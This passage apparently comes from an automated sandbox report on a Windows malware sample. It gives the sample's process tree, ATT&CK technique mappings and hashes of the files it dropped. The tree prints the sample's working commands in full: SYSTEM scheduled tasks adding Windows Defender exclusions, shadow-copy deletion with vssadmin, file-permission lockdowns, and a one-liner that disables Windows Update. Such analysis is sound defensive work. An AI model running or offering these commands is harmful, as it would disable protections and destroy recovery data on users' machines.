  PID:4948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3900
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5040
- C:\Program Files (x86)\MZA5dH\sNF34z.exe
  "C:\Program Files (x86)\MZA5dH\sNF34z.exe"
  2⤵
  PID:3412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:692
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MZA5dH" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MZA5dH" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4592
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5732
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:792
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4744
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:5596
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:4280
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:4052
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\MZA5dH\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2380
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\MZA5dH\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4584
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4036
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MZA5dH" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MZA5dH" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1488
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MZA5dH\sNF34z.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2480
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MZA5dH\sNF34z.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5512

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eD96Ie" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5448
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eD96Ie" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2680

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4692

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5264
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3628

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1200

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3304
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2764

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3308

C:\Program Files (x86)\MZA5dH\sNF34z.exe
"C:\Program Files (x86)\MZA5dH\sNF34z.exe"
1⤵
PID:5592

C:\Program Files (x86)\MZA5dH\sNF34z.exe
"C:\Program Files (x86)\MZA5dH\sNF34z.exe"
1⤵
PID:5888

C:\Program Files (x86)\yf35W\YFjgV.exe
"C:\Program Files (x86)\yf35W\YFjgV.exe"
1⤵
PID:1308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UsoSvc
1⤵
PID:1140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

e5904ca.rbs

Path C:\Config.Msi\e5904ca.rbs
Size 7KB
SHA256 0cc71a48bfa6fc8310fd5311d3a6fb4c72ea665a35220166ac90d83306756bd2
MD5 7e3bf6c985c190243b13c2d09c661ddf
SHA1 6f7b397d5124ba545648fffc80e81a460b0d61c3
SHA512 45ffed157f2f144afd5cace6ea12b29cc61c04d3b6a639ffea3d780b0311894158e8d81959bc11cdb49e7137403f6c7ef5428d812f8311029950693c649e4d89
SSDEEP 96:1A3gu0CIQff6aUU+t1CsThq/U+t1C6j4/xpThqjHsS56TWt8d71CKplj/RzIjByy:1AkC9zwIIVwI3CA9IKpFW
TLSH
T117F11001B31196D2E9911B75CB831B1637F2D3DAA320739B089E84285F577883ED57AB
MD5 SHA1 SHA512 SSDEEP TLSH

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XPSPLOG.dll

Path C:\Program Files (x86)\MZA5dH\XPSPLOG.dll
Size 4.6MB
SHA256 966815f9ef920d91f9e279377a1368d26d200dd06893d64e398ff3929f78c456
MD5 2cd3dc1d3a9199abd27b163b1f98b2c8
SHA1 207fbe352b35a9f7d049fd2b7b7ecc1c9d8d8797
SHA512 9add283ecd390db3c74bdda82f85e924bbd8ac4567ccb0fbdb9e0daa8782f853eac0267a663bf297ba7622314cadbf55a44a1205feb2f42d49c0b310d1ad1e1e
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyQ:BMWKfU+BcUTHCCCfqCiUffnQ
TLSH
T1D6263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

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image.png

Path C:\Program Files (x86)\MZA5dH\image.png
Size 5.0MB
SHA256 dc83c5789b60816873a8bdc20a9d17c2ca3e05cb199ed905b6c78e8e17c98b3e
MD5 9e733275284800e9abcf2b95c600d68d
SHA1 4727373a548225d756b0684a13057c435036546c
SHA512 4d25c565a0587c7af9799802a291e0ecef0cdd96a8dadedefff6276e5fb5f3013ba05d26b33d06342746905a8a15b54fc5b2a20adece379406570055bb3ea49e
SSDEEP 98304:zqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:L/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T13B363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

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sNF34z.exe

Path C:\Program Files (x86)\MZA5dH\sNF34z.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

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thumbs.db

Path C:\Program Files (x86)\MZA5dH\thumbs.db
Size 358KB
SHA256 f0541329f1fc93a290a599a4adaedb8b1dd31f3230745f3f6d162349abc2eb1c
MD5 536a1ef6c8e84e1be3b5406cc5c22f74
SHA1 b590359c75767fb93cea3c4b2d8dab02ed55e24f
SHA512 8604e01b53defef9a263fd037ca0849faf536e95d53e58e3b09114d1f8e0771908cc306e1c9aa264420243615726587bf14ecc6acc16147a4fe6eca38f53c1a5
SSDEEP 6144:WiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:Z8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T15374F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

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XPSPLOG.dll

Path C:\Program Files (x86)\yf35W\XPSPLOG.dll
Size 3.3MB
SHA256 f9c2b1759dccbdd9fb9ffc77a8e5397f7476cc93b8338d49bdc0870c094ae7da
MD5 467aa12a71fcba7700948f585cc02c5b
SHA1 b36773245fc8396f31fa342ac7c52a47a87c145d
SHA512 c3ba9fa4b18813b4bd33ff9726cee5bf10f60736605439333e2cac609fb3956338b66ee3fb74808fe07e012cb4d42f3124c5ca796a310e5f7f23010f33ec27e5
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT150:yCMWmcKfST5t+BceThTHfaCCUqmJP0
TLSH
T1C1F53349BBCB921EE55272B84F7DFC7E767C19C8430CEC88D4A5314B90A6B69503DA0E
MD5 SHA1 SHA512 SSDEEP TLSH

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XPSPLOG.dll

Path C:\Program Files (x86)\yf35W\XPSPLOG.dll
Size 2.6MB
SHA256 b9801f3eee2294260b5978dc02ab848187aabbdde531df8064b11b2f71a953a8
MD5 1b9d120e9e24ee98382ee636bb1af9cd
SHA1 0e0d7af7e22e4bce6d2ca36b492cca5dbef495bd
SHA512 6d11e67fdc8cf3cf85645956e19cadf975fad7f41b1be815cde682898d6265f9751e35ab0b2ec78d23557719d171274eb38eed8d9f24c5b14afe038e81ab581b
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOb:yCMWmcKfST5t+BceThTHfaZ
TLSH
T1C7C5339FFA5B561EEAA133792FADEC9DB2BC49C4822DE544D0D2704F0054B9E503E68C
MD5 SHA1 SHA512 SSDEEP TLSH

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destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

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UxEnhance64.dll

Path C:\Users\Public\eD96Ie\UxEnhance64.dll
Size 3.1MB
SHA256 894b47f7da5d9e3d001a68b516bc8c5e199c98f2e77842c6a656c5123b397846
MD5 bbfafb1122e4caf24eac57798650c35f
SHA1 1656a5b2ee8a1b9dab6d790e9ba9c062bdd963f6
SHA512 63cca6882e768f53ae21baf15515c4c016777e4cfc87278e541d5e18548c8ba3faa75ae0efe204b1082647bd02f5703e2807820ac77ddc4c14b4b4727ab9d77d
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+d:P9m29xx3Tiqt06ox6+z2rNNrKod
TLSH
T155E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

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Vw6Z5i.exe

Path C:\Users\Public\eD96Ie\Vw6Z5i.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

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adoresd.dat

Path C:\Users\Public\eD96Ie\adoresd.dat
Size 4.7MB
SHA256 834c4ceb8cb356a036c2416e8cde5cff1d60d61367f8de298474f04aeddcee26
MD5 f916c8444a1e025afb4a58038643d7fd
SHA1 5eb0fc22d4dade2b51e2fc9f88887943a0d1380d
SHA512 718afa8bf34ec7ecbe803652d21248a5fbdb11f747b267fbee7bdfe3d4255053cd9ec67fb14a371d8ca2ddcf438a16790d670d4b5fc607e9a55f4968a51ffce0
SSDEEP 98304:amu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Ju1SwOflfZPF6Ma0bsoa5+qd
TLSH
T18A3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

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msadox.tb

Path C:\Users\Public\eD96Ie\msadox.tb
Size 8KB
SHA256 f97ed7ded32c9b47cf5cceb853f69a27d6cf0f65c286f3ff06a144a002fad204
MD5 d2f92527f9783f979528b42eb5de9913
SHA1 09ae82a63a8a96cba37eaa1550517cb424ecfc7d
SHA512 e5e2b9b11fa071a06abe6d3d084c1d714386bc8d32af21f9747ecd13de869568c1f0890ddd8ed43171fa4a1d71817545d0571a6d228e39f2ef34948fa269b7d5
SSDEEP 192:MqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:MsZqZOXQ3uqvR2Kfzp
TLSH
T194029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIB71.tmp

Path C:\Windows\Installer\MSIB71.tmp
Size 7.6MB
SHA256 1f6b8a0b0fb5bc11fa65065d8c056edf4a03f2f1cd7bd2d998dd3c9395d1e57f
MD5 ddf32194688ae13e6dac6ae875e98b0a
SHA1 d794f2fcbe866b36ddbdf4e90cc80930a495a370
SHA512 9a808d552b03f60ef74e0e91fdbea974d3885cfe1734af32799f20eb9266a365c652f84d9d2dabbab061ff6fb468d949d94e4a7988728fb7bf1933638d250438
SSDEEP 196608:IM51bJ7sclEp2sOtMKpkKcMey+lr4ywwoKIMzkPV0EG/xPnSin/gy:IA8oKhweLwUSPVjqSwn
TLSH
T19E8633827E8F2670C05BCBF56A55B17F715E37C26F3A1C1639D93B485D3221600BB2AA
MD5 SHA1 SHA512 SSDEEP TLSH

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e5904c9.msi

Path C:\Windows\Installer\e5904c9.msi
Size 7.7MB
SHA256 a19672bbf884684afede222a1326d3cf4b370c4d1412e0965b76d36cb9ada9bc
MD5 70b46d0d6b75f5ca900564c708307e50
SHA1 e70556c0a221d91355c49d9750ec0e53fa1c5f1e
SHA512 fefdb50433d6a3ff661774907e620d49f98b3e640a9fd04cedbd52e572229fcf84f9906c230787b65b2801643fa4f99adfda6b2627db4428a0607d88c66a12c0
SSDEEP 196608:IM51bJ7sclEp2sOtMKpkKchey+lr4ywwoKIMzkPV0EG/xPnSin/g8:IA8oKhVeLwUSPVjqSwx
TLSH
T1A58633827E8B2770C05BCBF16A56A17E715E3FC26F3A1C1639D97B4C6D3121600B72A9
MD5 SHA1 SHA512 SSDEEP TLSH

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metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 65770f7e9d05f74f0969310830f0c02cd9c39a1a86067e17b88aab672fba1e49
MD5 956334f7d420706453fbe804a69502fa
SHA1 29ef7893d62b76079840b658420e361c3e52869d
SHA512 2cb41d8ea073b3cd65b9c3c795a9e4c20bda3fb3d37638261f9f584b3525b1e5d6828ea8f63304ddce14238408cb8cb70f451f69c0147ecfbc8dfb911a6e07df
SSDEEP 24576:GFo3DMPCdoO/vvTL/yAjDilQP7eJY7Eg0+1xNudb1WtqJESTsIRmD6pin+n:BHk
TLSH
T10F57B31436F92200E7B79E3DB8F06A234D397D5BAC15DE8D45511B8E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

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{8ed36e84-00a5-4fc5-965f-0277167ad2e6}_OnDiskSnapshotProp

Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{8ed36e84-00a5-4fc5-965f-0277167ad2e6}_OnDiskSnapshotProp
Size 6KB
SHA256 bbf7f55831f3a095e769c06ed14521786b73d9da5b17683ef84b31427aae1c55
MD5 09defc1257986544d0b28350a98c1c3e
SHA1 cb262abcc2b4dc144abae79f05c1212538a4e0fe
SHA512 aaf438129e4e933a0b3edbf3b299634913f0381af7132c49ec908516636ef8f0fdd9fd80b04f6cdb682f79629549326b1a4e00ca4329b896f7d016a6b5634d79
SSDEEP 96:FtlIxbIvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:blIqb++uVm
TLSH
T1C0D188085AE54711E2B3AB3228F14557A877B911FF33CB8E0198238E6671A10F935F6F
MD5 SHA1 SHA512 SSDEEP TLSH

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xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

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memory/1204-12-0x00007FF90B8F0000-0x00007FF90B8F2000-memory.dmp

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memory/1204-13-0x00007FF8E8220000-0x00007FF8E8854000-memory.dmp

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memory/1204-38-0x00007FF8F3E00000-0x00007FF8F3E12000-memory.dmp

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memory/1204-16-0x00007FF8F3E00000-0x00007FF8F3E12000-memory.dmp

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memory/3412-190-0x0000000001460000-0x0000000001461000-memory.dmp

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memory/3412-193-0x0000000003880000-0x0000000004087000-memory.dmp

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memory/3412-225-0x0000000003880000-0x0000000004087000-memory.dmp

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memory/3412-213-0x0000000010000000-0x0000000010061000-memory.dmp

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memory/3412-183-0x00000000010C0000-0x00000000010C1000-memory.dmp

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memory/3412-203-0x0000000003880000-0x0000000004087000-memory.dmp

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memory/3412-202-0x0000000002E50000-0x0000000002E64000-memory.dmp

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memory/3412-195-0x0000000003880000-0x0000000004087000-memory.dmp

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memory/3412-184-0x0000000074550000-0x0000000074C9A000-memory.dmp

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memory/3412-237-0x0000000003880000-0x0000000004087000-memory.dmp

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memory/3412-188-0x0000000003880000-0x0000000004087000-memory.dmp

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memory/5592-264-0x0000000000E20000-0x0000000000E21000-memory.dmp

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memory/5592-261-0x0000000003430000-0x0000000003C37000-memory.dmp

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memory/5592-241-0x0000000074550000-0x0000000074C9A000-memory.dmp

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memory/5592-245-0x0000000003430000-0x0000000003C37000-memory.dmp

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memory/5592-239-0x0000000000E20000-0x0000000000E21000-memory.dmp

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memory/5592-260-0x0000000000E40000-0x0000000000E41000-memory.dmp

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memory/5700-100-0x0000017E77A30000-0x0000017E77A4E000-memory.dmp

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memory/5700-105-0x0000017E77F80000-0x0000017E78070000-memory.dmp

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memory/5700-103-0x0000017E77B10000-0x0000017E77B1A000-memory.dmp

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memory/5700-101-0x0000017E77A50000-0x0000017E77B02000-memory.dmp

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memory/5700-97-0x0000017E779C0000-0x0000017E779E2000-memory.dmp

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memory/5888-249-0x0000000001340000-0x0000000001341000-memory.dmp

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memory/5888-250-0x0000000074550000-0x0000000074C9A000-memory.dmp

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memory/5984-81-0x000001DCE58A0000-0x000001DCE58EE000-memory.dmp

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memory/5984-64-0x000001DCE6500000-0x000001DCE6D91000-memory.dmp

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memory/5984-86-0x000001DCE59A0000-0x000001DCE5A2A000-memory.dmp

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memory/5984-83-0x000001DCE59A0000-0x000001DCE5A2A000-memory.dmp

